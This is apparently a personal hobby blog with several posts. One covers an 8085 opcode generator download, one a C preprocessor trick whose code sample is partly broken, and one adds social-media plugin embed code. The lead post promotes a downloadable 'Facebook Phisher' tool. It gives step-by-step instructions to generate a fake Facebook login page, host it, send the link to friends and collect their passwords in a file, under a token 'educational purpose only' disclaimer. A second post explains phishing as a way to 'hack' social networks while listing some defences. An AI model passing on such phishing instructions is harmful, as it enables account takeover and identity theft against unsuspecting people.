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Friday, 24 February 2012

Facebook Phisher v1.0


               INTRODUCING FACEBOOK PHISHER  v1.0

     Hey Friends!  After reading my post about Phishing many people mailed me "How to hack the Social networking Sites?".  So I decided to create an application using .Net framework for doing this easily.  I also received mail that "Opcode Generator for 8085" is not running.  Please make sure that you have .Net framework for running my application.  It is installed at the time of installation of  Windows.  If not download and install it from : Microsoft Official Website  .  If you don't know what is Phishing , please read my post about Phishing Here.  Please note that this is for educational purpose only.

    1. Click Here to download Facebook Phisher.



    2. Now Click "Run" button.



  3. Now install and run the application.



  4. After filling the textbox,  click "Get Source Code" button.


   
   5. You will get the files "facebook source.txt" and "phisher.txt" after pressing the "Get Source Code" button.  Just save the "facebook source.txt" as a html file and upload the files to your web hosting and send the link to your friends.


   




   6. To read the instructions for using the application, click "View Instruction" button.




   7. The passwords that your friend will enter will be saved in the file "password.txt". 

         Please notify me if u have any trouble using Facebook Phisher. Enjoy!!! Remember this is for Educational purpose only.

Tuesday, 31 January 2012

Beware of Phishing

      Hello Readers! Have you ever thought of hacking a social networking site like Facebook,   Orkut,  twitter?  If you did, then i'm sure that you have found exactly what you are searching for.  There are several ways to hack a social networking sites.  In this post, i'm going to write about the most commonly used technique to steal one's identity which is called as "PHISHING".  



     Before you read about the Phishing,  please remember that this is for educational purpose only.  In Simple words phishing can be described as "Creating an webpage similar to that of the trust worthy webpage for the purpose of stealing the personal and financial information like username, passwords, credit details etc,.  

HOW PHISHING WORKS:
     As said before, hackers will create a webpage similar to that of a webpage which they have chose to hack.  Creating a webpage similar to that of a legitimate webpage is not a big deal.  You can copy the Source of the webpage and save it in your webpage Source.  Once the webpage is created, they will send an email to the victim to whom they are targeting to.  When the victim enter his/her personal information and clicks "Sign in" or "Submit" button, then the information is sent to their web hosting and gets stored in a file or database.  To pretend as if they are trust worthy,  they will redirect you to the legitimate webpage
saying "Information you have provided was wrong" or something.  Now the victim does not have any idea that his/her personal information in in hacker's hands.

Measures to avoid getting Phished:

     1.  Using Anti-Phishing software can prevent you from phishing.
        
       2.  Use 'https' instead of 'http'.  The purpose of using 'https' is the data transfered between your system and the server will be encrypted.

       3.  Use Firewall.

       4.  Avoid using the links in e-mails.

       5.  Make sure the website name is correct. For example,  instead of www.facebook.com you may get www.facebook.co.cc or something.

       6.  Make use of anti spam software.

Check out our Post on : Facebook Phishing

Sunday, 8 January 2012

OPCODE GENERATOR FOR 8085 MICROPROCESSOR.

OPCODE GENERATOR FOR 8085 MICRO PROCESSOR

    Hi Friends!  Its been a long time since my last Post.  When I was trying to convert the Machine Instructions into Opcode I found it very boring and its a Time Sucker.  It is Damn Boring to check word by word and convert it into Opcode.  So I have Created an Application for Generating Opcode for 8085 Microprocessor using C# .NET.  It generates Opcode for the given Assembly Language Instruction through just a single mouse click which can help you to save your time.  

"Opcode is a Machine Readable Instruction for performing a task".

   You can follow the following instructions to install  OPCODE GENERATOR 1.0  for windows.

1.  Click here to download OPCODE GENERATOR 1.0 .

2.  After downloading it, Click RUN.



3.  An installation wizard appears.  Click INSTALL.




4.  Wait few seconds for the installation to complete.



5.  Click on the CLOSE button.

6.  Now fire up the OPCODE GENERATOR 1.0 and Type your instructions.




7.  After typing your instructions click on the GENERATE OPCODE button.  You will get the opcode location once you click that button.

8.  Save your time and spend it in facebook... :)

     The Advantages of OPCODE GENERATOR 1.0 is,

1.  It is not case-sensitive.

2.  Proper spaces is not necessary.

     Since this is the first version of  OPCODE GENERATOR 1.0  ,  there are few drawbacks.  

1.   OPCODE GENERATOR 1.0  cannot understand hexa-decimel number as its 16-bit input.  For Example,  800e is not understood by the compiler whereas 8034 is understood.

     Use this application and leave your comments.  If you find any errors, please do inform me. :)

If the application says: ".NET framework is needed for running the application", please download Microsoft .NET framework 4.0.

Thursday, 4 August 2011

C PROGRAM WITHOUT MAIN( )

        Hi Friends! We all know to write a C program with main function.  How to write a C program without a main function?. Is it possible to do that. Yes there can be a C program without a main function. Here’s the code of the program without a main function…


#include<stdio.h>
#include<conio.h>
#define decode(h,a,r,i,s,z,e)## i##s##r##a
#define begin decode(a,n,i,m,a,t,e)
void begin()
{
printf(” hello “);

getch();
return 0;
}

         Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function. But how, whats the logic behind it? How can we have a C program working without main?

        Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main. But in reality it runs with a hidden main function.

       The ‘##‘ operator is called the token pasting or token merging operator. That is we can merge two or more characters with it.

NOTE: A Preprocessor is program which processess the source code before compilation.



Look at the 2nd line of program -

#define decode(h,a,r,i,s,z,e) i##s##r##a


        What is the preprocessor doing here. The macro decode(h,a,r,i,s,z,e) is being expanded as “isra” (The ## operator merges i,s,r & a into isra). The logic is when you pass (h,a,r,i,s,z,e) as argument it merges the 4th,5th,3rd & the 2nd characters(tokens).


Now look at the third line of the program -

#define begin decode(a,n,i,m,a,t,e)



         Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e). According to the macro definition in the previous line the argument must be expanded so that the 4th,5th,3rd & the 2nd characters must be merged. In the argument (a,n,i,m,a,t,e) 4th,5th,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.

       So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler. That’s it…

      The bottom line is there can never exist a C program without a main function. Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exists a hidden main function in the program. Here we are using the proprocessor directive to intelligently replace the word "begin" by “main”. In simple words int begin=int main.

      Thankyou friends for reading this.....

SOCIAL PLUGINS TO YOUR WEBPAGE :

    Hi friends! I am Harish.  I hope you all have seen Social Plugin in almost all the webpages.  Have you ever thought of adding those plugins in your web page? If you do,then here is a way to add social plugin like Facebook Like button, Google Plus button, Twitter Tweet button, Facebook login button etc, to your webpage.

     Friend here is the link to add facebook like button to your webpage.  click on the below link to go to the facebook developers page.

http://developers.facebook.com/docs/reference/plugins/like/

       There you will see a form like something which will ask you for your URL link. After providing your link and some other attributes , Press GET CODE.  Now the code will be generated and you can copy the code and paste it in your webpage source wherever you want.  Similarly, you can also add google plus button to your webpage by just pasting the following code in your webpage.

        This is the code that goes into the header:
<script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>

        This is the code that you insert where you want the +1 button to appear:
<g:plusone size="tall"></g:plusone> 
                 
     For adding tweet button to your webpage, here is the code.
<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>


      Guys you can also add facebook comments button to your webpage. To do so click the link which will redirect you to Facebook Developer page.  Procedure for getting the code is similar to that of Facebook Like button.
  FACEBOOK COMMENTS

      For more information , please comment on this.Thankyou friends.